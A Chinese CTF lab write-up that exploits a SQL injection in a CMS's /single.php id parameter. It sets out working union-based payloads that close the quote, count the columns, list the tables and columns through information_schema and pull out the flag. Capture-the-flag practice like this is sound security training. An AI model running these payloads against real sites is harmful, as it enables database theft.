春秋之境28512

题目说该CMS的/single.php路径下,id参数存在一个SQL注入漏洞。访问看一下随便点一个图片。

发现了注入点?id=

那么开始查看闭合符一个 ' 就报错了

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

分析一下就知道就是一个 ' 并且过滤符#被过滤了

所以用 --+ 或者 ;%00 来过滤后面

用 order by 数字 来判断字段发现order by 9成功

order by 10报错,所以字段就是9个

使用payload:?id=-1' union select 1,2,3,4,5,6,7,8,9 ;%00

发现第2个位置有回显

?id=-1' union select 1,database(),3,4,5,6,7,8,9 ;%00

爆出数据库ctf

试了很多写法最后还是发现payload为:?id=-1' union select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables where table_schema='ctf';%00

爆出表名titles

?id=-1' union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name='titles';%00

接着爆字段,发现爆出来的东西没一点关系(表爆出了一个没用的)

构造payload

?id=-1' union select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables where table_schema=database()limit 10,1 --+

查看后面的表名

从limit 0,1 一直到limit 13,1

一共有14个表

分别为titlespage_hitsmembership_userpermissionsmembership_groupsblog_categoriesmembership_userrecordsmembership_userseditors_choiceblogslinksflagbanner_postsmembership_grouppermissionsvisitor_info

毫无疑问就flag最像了

接着便是查字段

?id=-1' union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name='flag' --+

查内容

id=1' and 1=2 union select 1,flag,3,4,5,6,7,8,9 from flag --+

flag{218405b4-7dcd-4f19-8b07-7aec5b843a21}

相关推荐
倔强的石头_18 小时前
【金仓数据库】ksql 指南(三) —— 创建与管理表空间和模式
数据库
白帽子黑客罗哥18 小时前
Redis实战深度剖析:高并发场景下的架构设计与性能优化
redis·网络安全·性能优化·高并发·分布式锁·秒杀系统·缓存架构
TG_yunshuguoji19 小时前
亚马逊云渠道商:本地SSD缓存如何保障数据安全?
运维·服务器·安全·云计算·aws
电话交换机IPPBX-3CX19 小时前
电话交换机软件3CX安全访问实践:屏蔽IP访问,仅允许域名访问
安全·域名·ippbx·1024程序员节·电话交换机
程序新视界20 小时前
详解MySQL两种存储引擎MyISAM和InnoDB的优缺点
数据库·后端·mysql
半路_出家ren20 小时前
设计一个学生管理系统的数据库
linux·数据库·sql·mysql·网络安全·数据库管理员
LucianaiB20 小时前
掌握 Rust:从内存安全到高性能服务的完整技术图谱
开发语言·安全·rust
ks胤墨21 小时前
网站安全太复杂?雷池SafeLine+cpolar实现“躺平式”防护!
安全
金仓拾光集1 天前
筑牢风控生命线:金仓数据库替代MongoDB,重构证券融资融券业务的数据基石
数据库·mongodb·信创·1024程序员节·kingbasees·国产化替代
泷羽Sec-静安1 天前
Less-1 GET-Error based-Single quotes-String GET-基于错误-单引号-字符串
前端·css·网络·sql·安全·web安全·less